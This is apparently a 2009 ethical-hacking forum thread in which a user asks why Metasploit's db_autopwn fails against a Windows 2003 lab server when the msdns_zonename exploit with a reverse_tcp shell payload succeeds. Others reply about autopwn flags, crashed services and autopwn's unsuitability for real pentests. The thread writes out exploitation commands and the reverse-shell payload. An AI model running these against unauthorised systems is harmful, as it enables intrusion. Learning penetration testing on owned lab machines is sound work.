Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 66 guests online
EH-Net News Feeds
Latest Additions
 
Advertisement

You are here: Home arrow Forum arrow Ethical Hacking Discussions and Related Certificationsarrow Network Pen Testingarrow Autopwn is not working right
EH-Net
May 25, 2012, 08:56:17 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Advertise on EH-Net!! - Reasonable Rates, Highly Targeted Audience.
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: Autopwn is not working right  (Read 7058 times)
0 Members and 3 Guests are viewing this topic.
impelse
Sr. Member
****
Offline Offline

Posts: 493


View Profile
« on: June 23, 2009, 10:52:29 AM »

I am using BT pre-release. I ran:
db_nmap 192.168.0.9
Later

db_autopwn -p -t -e

The metasploit run a lot of exploits but I never get a session with the server. The target server is Windows 2003 SP1 and I know there is a vulnerability with tht dns. Now I go with:

use windows/dcerpc/msdns_zonename
set PAYLOAD windows/shell/reverse_tcp
exploit

And I GOT COMMAND PROMT.

So what is the difference, do I have to set another parameter with db_autopwn because I never got the command promt.
Logged

CCNA, Security+, 70-290, 70-291
CCNA Security, Working Windows 7 70-680
viruz
Jr. Member
**
Offline Offline

Posts: 50


View Profile
« Reply #1 on: June 23, 2009, 07:59:03 PM »

try this:

db_autopwn -p -r -e

"-r" is telling it to reverse connection back to you.

or better still use"

db_autopwn -p -t -r -e
Logged
impelse
Sr. Member
****
Offline Offline

Posts: 493


View Profile
« Reply #2 on: June 24, 2009, 09:54:04 AM »

I was using the live cd so I installed in the hard drive, and I did:

db_autopwn -p -r -t -e

and did not work, any idea.
Logged

CCNA, Security+, 70-290, 70-291
CCNA Security, Working Windows 7 70-680
LSOChris
Guest
« Reply #3 on: June 24, 2009, 11:54:40 PM »

perhaps its crashing the service by the time it tries the msdns exploit. 
Logged
jimbob
Guest
« Reply #4 on: June 25, 2009, 08:10:02 AM »

perhaps its crashing the service by the time it tries the msdns exploit. 
This is a big problem with the autopwn concept in general. Perhaps re-ordering the sequence in which exploits are sent may help?

Jimbob
Logged
apollo
Full Member
***
Offline Offline

Posts: 142


View Profile WWW
« Reply #5 on: June 25, 2009, 08:19:36 AM »

I always considered db_autopwn to be a best effort attack where you are throwing everything you can at a box and hoping one of the things makes it.  If you have enough information to know that an attack should succeed, doing that one directly is preferred.  If you are verifying vulnerabilities and not just trying to get into a box, I'd say if at first you fail, try at least another time or two as sometimes the attacks don't work on the first shot, especially if you've already launched an attack on that service before. Not to say I don't use autopwn on occasion, but if I have a vulnerability scan with CVEs that I can load in there, I'm more likely to use it just to list out what exploits autopwn would use and then use each of them manually on my own so I can control better the options for launch.  Anyway, just my thoughts.

Logged

CISSP, CSSLP, MCSE+Security, MCTS, CCSP, GPEN, GWAPT, GCWN, NOP, OSCP, Security+
LSOChris
Guest
« Reply #6 on: June 25, 2009, 09:17:53 AM »

the autopwn idea for any PT framework is just bad, you should know what you are throwing at a box every time not just letting a bunch of random exploits fly.
Logged
BillV
Hero Member
*****
Offline Offline

Posts: 1830


View Profile WWW
« Reply #7 on: June 25, 2009, 09:38:17 AM »

Haha... unless you have a good insurance policy for when you crash something completely and start costing the business money Tongue
Logged
aweSEC
Hero Member
*****
Offline Offline

Posts: 1100


View Profile
« Reply #8 on: June 25, 2009, 09:45:51 AM »

Haven't heard that autopwn was used in a serious pentest on a company. It is very likedly that a service may become unavailable or similar because of this, however, for personal use I like it for some "quick and dirty" testing.
Logged
apollo
Full Member
***
Offline Offline

Posts: 142


View Profile WWW
« Reply #9 on: June 25, 2009, 01:04:09 PM »

It didn't sound like he was doing a pen test (gosh I hope not) but instead trying to learn more about Metasploit and autopwn.  Autopwn just isn't extremely flexible, but the thing about it that I think is nice is the fact it will aggregate vulnerability reports from nessus or something else if you can get it into the database and then look up CVE's for you to tell you what exploits match the CVE's in a hurry.  Using autopwn for actual attacking (on test machines you own I'm sure) is going to give you false negatives for certain types of things as the service may not have recovered from the first set of junk you sent it for the attack that should work to actually work. 

Logged

CISSP, CSSLP, MCSE+Security, MCTS, CCSP, GPEN, GWAPT, GCWN, NOP, OSCP, Security+
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.16 | SMF © 2011, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.213 seconds with 22 queries.
 

gk_static-ad_feb2012.jpg
Global Knowledge: Build Security Skills to Protect & Defend

els_130x200fixed2.gif
eLearnSecurity Student Course Now Live!
5% Off with Code
ELS-EH-5

SANS Deals 4 EH-Netters
$150 OFF Any SANS Course in Any Format!
Coupon Code: EHN_Connect Including SANS Security West 2012 & SANSFIRE 2012
Recent Forum Topics

cbtnuggets_logo_125.jpg
Try CBT Nuggets Free!

Vote For EH-Net

Add to Technorati Favorites
technorati fave

 
         
Advertisement

© 2012 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.